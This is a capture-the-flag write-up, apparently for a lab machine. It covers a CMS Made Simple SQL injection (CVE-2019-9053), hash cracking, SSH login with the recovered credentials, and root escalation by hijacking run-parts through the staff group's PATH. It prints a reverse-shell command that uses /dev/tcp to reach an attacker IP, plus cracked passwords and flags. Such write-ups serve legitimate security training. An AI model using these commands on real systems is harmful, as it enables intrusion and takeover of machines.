Information Gathering
| IP Address | Opening Ports |
|---|---|
| 10.10.10.138 | TCP:22,80 |
$ ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.138 | grep '^[0-9]' | cut -d '/' -f1 | tr '\n' ',' | sed s/,$//); nmap -p$ports -sC -sV 10.10.10.138
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u1 (protocol 2.0)
| ssh-hostkey:
| 256 37:2e:14:68:ae:b9:c2:34:2b:6e:d9:92:bc:bf:bd:28 (ECDSA)
|_ 256 93:ea:a8:40:42:c1:a8:33:85:b3:56:00:62:1c:a0:ab (ED25519)
80/tcp closed http
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
CMS Made Simple SQLI ; CVE-2019-9053
![[Meachines] [Easy] Writeup CMS Made Simple SQLI+Staff组路径劫持权限提升插图](https://img.4awl.net/img/81/be7feff0cfa4a49d359d872b94ea5d.jpg "[Meachines] [Easy] Writeup CMS Made Simple SQLI+Staff组路径劫持权限提升插图")
$ feroxbuster --url http://10.10.10.138
![[Meachines] [Easy] Writeup CMS Made Simple SQLI+Staff组路径劫持权限提升插图1](https://img.4awl.net/img/e9/81f708234fe1678ee9d421d7ce349a.jpg "[Meachines] [Easy] Writeup CMS Made Simple SQLI+Staff组路径劫持权限提升插图1")
![[Meachines] [Easy] Writeup CMS Made Simple SQLI+Staff组路径劫持权限提升插图2](https://img.4awl.net/img/ad/51016d6e36f22ce229f0e5cf1c6360.jpg "[Meachines] [Easy] Writeup CMS Made Simple SQLI+Staff组路径劫持权限提升插图2")
$ whatweb http://10.10.10.138/writeup/index.php -v
![[Meachines] [Easy] Writeup CMS Made Simple SQLI+Staff组路径劫持权限提升插图3](https://img.4awl.net/img/43/5f0dd0b151efea0d022936090fff36.jpg "[Meachines] [Easy] Writeup CMS Made Simple SQLI+Staff组路径劫持权限提升插图3")
![[Meachines] [Easy] Writeup CMS Made Simple SQLI+Staff组路径劫持权限提升插图4](https://img.4awl.net/img/69/543ec3db81bf0030653ea4f3860ff4.jpg "[Meachines] [Easy] Writeup CMS Made Simple SQLI+Staff组路径劫持权限提升插图4")
$ python2 exp -u http://10.10.10.138/writeup
![[Meachines] [Easy] Writeup CMS Made Simple SQLI+Staff组路径劫持权限提升插图5](https://img.4awl.net/img/f0/38e799ab1282eb50627c412b9cc717.jpg "[Meachines] [Easy] Writeup CMS Made Simple SQLI+Staff组路径劫持权限提升插图5")
Username:jkrEmail:[email protected]Hash:62def4866937f08cc13bab43bb14e6f7Salt:5a599ef579066807
$ echo '62def4866937f08cc13bab43bb14e6f7:5a599ef579066807'>hash
$ hashcat -m 20 -a 0 hash /usr/share/wordlists/rockyou.txt
![[Meachines] [Easy] Writeup CMS Made Simple SQLI+Staff组路径劫持权限提升插图6](https://img.4awl.net/img/af/d2d224c2fc8cd03184dbc643d294c6.jpg "[Meachines] [Easy] Writeup CMS Made Simple SQLI+Staff组路径劫持权限提升插图6")
username:jkrpasswword:raykayjay9
$ ssh [email protected]
User.txt
8c05eec57b840468d15218b7a938f180
Privilege Escalation : Staff Group Path Hijackin
![[Meachines] [Easy] Writeup CMS Made Simple SQLI+Staff组路径劫持权限提升插图7](https://img.4awl.net/img/c0/d0d83844610b09564986ce2abb81bf.jpg "[Meachines] [Easy] Writeup CMS Made Simple SQLI+Staff组路径劫持权限提升插图7")
staff 组：允许用户在无需 root 权限的情况下对系统（/usr/local）进行本地修改（请注意，/usr/local/bin 中的可执行文件会包含在所有用户的 PATH 变量中，它们可能会“覆盖” /bin 和 /usr/bin 中同名的可执行文件）。
可对比 adm 组，它更多与监控/安全相关。
监控ROOT用户启动/usr/local/目录中哪个程序
$ wget http://10.10.16.6/pspy32
$ ssh [email protected]
![[Meachines] [Easy] Writeup CMS Made Simple SQLI+Staff组路径劫持权限提升插图8](https://img.4awl.net/img/f7/e50b4d545c46eaa157c42d6ac8d945.jpg "[Meachines] [Easy] Writeup CMS Made Simple SQLI+Staff组路径劫持权限提升插图8")
使用 run-parts 执行 /etc/update-motd.d 目录下的脚本。
输出结果被保存到 /run/motd.dynamic.new，作为登录时看到的动态信息。
![[Meachines] [Easy] Writeup CMS Made Simple SQLI+Staff组路径劫持权限提升插图9](https://img.4awl.net/img/21/d75fafce9a4464b45c992b467e5b98.jpg "[Meachines] [Easy] Writeup CMS Made Simple SQLI+Staff组路径劫持权限提升插图9")
无法保存脚本到update-motd.d 目录下
由于环境变量/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin依次向右寻找。
结合当前用户可修改/usr/local/bin,/usr/local/sbin,/usr/local/games;我们需要先一步劫持run-parts；/usr/local/sbin
$ echo -e '#!/bin/bash\n\n/bin/bash >& /dev/tcp/10.10.16.6/10011 0>&1' > /usr/local/sbin/run-parts; chmod +x /usr/local/sbin/run-parts
$ ssh [email protected]
![[Meachines] [Easy] Writeup CMS Made Simple SQLI+Staff组路径劫持权限提升插图10](https://img.4awl.net/img/31/29b815d5b01bf5c55862a80d4dc013.jpg "[Meachines] [Easy] Writeup CMS Made Simple SQLI+Staff组路径劫持权限提升插图10")
Root.txt
803d6f00a18d18dcbd03d8e5abf70eb9
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途，否则一切后果请用户自负。
本站信息来自网络，版权争议与本站无关。您必须在下载后的24个小时之内，从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序，请支持正版，购买注册，得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解！
程序来源网络，不确保不包含木马病毒等危险内容，请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱：4ablog168#gmail.com（#换成@）
